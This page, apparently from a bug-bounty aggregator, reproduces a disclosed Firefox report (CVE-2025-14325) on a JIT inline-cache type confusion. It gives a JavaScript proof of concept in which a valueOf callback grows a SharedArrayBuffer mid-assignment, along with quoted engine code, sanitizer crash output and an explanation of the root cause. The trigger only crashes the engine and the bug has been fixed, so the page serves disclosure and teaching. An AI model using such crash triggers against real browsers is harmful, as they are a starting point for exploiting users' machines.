Skip to content
Memory corruption Disclosed report Advanced CVE-2025-14325

JIT Type confusion TypedArrayElement and NativeProperty

A JavaScript engine bug in Firefox's JIT inline cache: when assigning to an out-of-range typed array index, a valueOf callback can grow the backing SharedArrayBuffer mid-assignment, so a second property lookup returns a TypedArrayElement result that the code then treats as a native property. This triggers an assertion failure and a null-pointer write, crashing the browser process.

zx Follow

Originally disclosed on Mozilla

  • Fixed in 8 days
  • Paid in 44 days
  • Disclosed after 8 days

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36

Steps to reproduce:

Run following javascript code

function test (){

        let sab = new SharedArrayBuffer(0xf0, {maxByteLength: 0xffffffff + 0x20});
        const arr = new Uint8Array(sab);
        const obj ={
                valueOf(){
                        sab.grow(0xffffffff + 0x20)
                }
        }
        arr[0xffffffff + 9] = obj;
}

for (let i=0;i<10;i++){
        test();
}

test()

Trigger Script Grows the TypedArray Mid-Assignment

C
function test() {
  let sab = new SharedArrayBuffer(0xf0, { maxByteLength: 0xffffffff + 0x20 });
  const arr = new Uint8Array(sab);
  const obj = {
    valueOf() {
      sab.grow(0xffffffff + 0x20);
    }
  };
  arr[0xffffffff + 9] = obj;
}

Assigning obj to an out-of-range typed array index calls valueOf(), which resizes the buffer right before the store completes.

First Inline Cache Check Treats the Assignment as Adding a Property

C
if (!LookupOwnPropertyPure(cx_, nobj, id, &prop)) {
  return false;
}
if (prop.isFound()) {
  return false;
}

canAttachAddSlotStub sees the index as out-of-range, so it records this as a missing property and plans to attach an AddSlot stub.

Setter Execution Grows the Buffer Before the Second Check

C
const obj = {
  valueOf() {
    sab.grow(0xffffffff + 0x20);
  }
};

The IC runs SetProperty, which evaluates the right-hand side; valueOf() grows the backing buffer, making the previously out-of-range index valid.

Second Inline Cache Check Now Sees a Typed Array Element

C
PropertyResult prop;
if (!LookupOwnPropertyPure(cx_, obj, id, &prop)) {
  return AttachDecision::NoAction;
}
...
PropertyInfo propInfo = prop.propertyInfo();

tryAttachAddSlotStub repeats the lookup and now receives prop tagged as TypedArrayElement, but immediately calls propertyInfo() as if it were a native property.

Assertion and Crash Caused by Wrong PropertyResult Kind

C
PropertyInfo propertyInfo() const {
  MOZ_ASSERT(isNativeProperty());
  return propInfo_;
}

prop.isNativeProperty() is false, so the assertion fires and the process crashes due to reading the wrong union field.

Actual results:

./obj-fuzzbuild/dist/bin/js ./test.js
[COV] no shared memory bitmap available, skipping
[COV] edge counters initialized. Shared memory: (null) with 417276 edges
[21230] Assertion failure: isNativeProperty(), at /home/builder/firefox/js/src/vm/PropertyResult.h:66
#01: ???[./obj-fuzzbuild/dist/bin/js +0x224b264]
#02: ???[./obj-fuzzbuild/dist/bin/js +0x3173f3c]
#03: ???[./obj-fuzzbuild/dist/bin/js +0x2cde3c6]
#04: ??? (???:???)
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==21230==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5c8bf91d927c bp 0x7ffea7d07340 sp 0x7ffea7d07330 T21230)
==21230==The signal is caused by a WRITE memory access.
==21230==Hint: address points to the zero page.
/home/builder/firefox/obj-fuzzbuild/dist/bin/llvm-symbolizer: error: '[anon:js-executable-memory]': No such file or directory
    #0 0x5c8bf91d927c in MOZ_CrashSequence(void*, long) /home/builder/firefox/obj-fuzzbuild/dist/include/mozilla/Assertions.h:237:3
    #1 0x5c8bf91d927c in js::PropertyResult::propertyInfo() const /home/builder/firefox/js/src/vm/PropertyResult.h:66:5
    #2 0x5c8bfa101f3b in js::jit::SetPropIRGenerator::tryAttachAddSlotStub(JS::Handle<js::Shape*>) /home/builder/firefox/js/src/jit/CacheIR.cpp:5605:32
    #3 0x5c8bf9c6c3c5 in js::jit::DoSetPropFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICFallbackStub*, JS::Value*, JS::Handle<JS::Value>, JS::Handle<JS::Value>) /home/builder/firefox/js/src/jit/BaselineIC.cpp:1539:35
    #4 0x22b22d5690e5  ([anon:js-executable-memory]+0xe0e5)

==21230==Register values:
rax = 0x0000000000000000  rbx = 0x00007ffea7d073b0  rcx = 0x0000000000000042  rdx = 0x00007e3552ba5563
rdi = 0x00007e3552ba6700  rsi = 0x0000000000000000  rbp = 0x00007ffea7d07340  rsp = 0x00007ffea7d07330
 r8 = 0x0000000000000000   r9 = 0x0000000000000003  r10 = 0x0000000000000000  r11 = 0x0000000000000293
r12 = 0x00007ffea7d07398  r13 = 0x00001d5a13000020  r14 = 0x00007ffea7d00001  r15 = 0x00007ffea7d07470
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV /home/builder/firefox/obj-fuzzbuild/dist/include/mozilla/Assertions.h:237:3 in MOZ_CrashSequence(void*, long)
==21230==ABORTING

Expected results:

No Crash

The original report as published on Mozilla's Bugzilla, by zx. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the inline cache's add-slot stub re-runs the property lookup after the setter side effects but does not re-validate the result kind, so a TypedArrayElement PropertyResult is consumed as a native property.

Impact

The engine aborts on an assertion in debug builds and performs a write to a null address, crashing the process; the text does not demonstrate memory corruption beyond the crash.

What the attacker needed

Ability to run JavaScript in Firefox; debug or sanitizer build to see assertion

How it was found

  1. Create a SharedArrayBuffer with a large maximum byte length and wrap it in a Uint8Array.
  2. Define an object whose valueOf callback grows the buffer to its maximum.
  3. Assign that object to an index far beyond the current typed array length.
  4. Repeat the assignment several times so the inline cache attaches a stub.
  5. Observe the assertion failure and crash.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Firefox speeds up repeated JavaScript operations by remembering ('caching') what happened last time. Here the engine checked an array index, then ran some user code that changed the array's size, then checked again and got a different kind of answer than it expected. It trusted the old assumption, read the wrong piece of data, and crashed.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by zx

View all

5 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.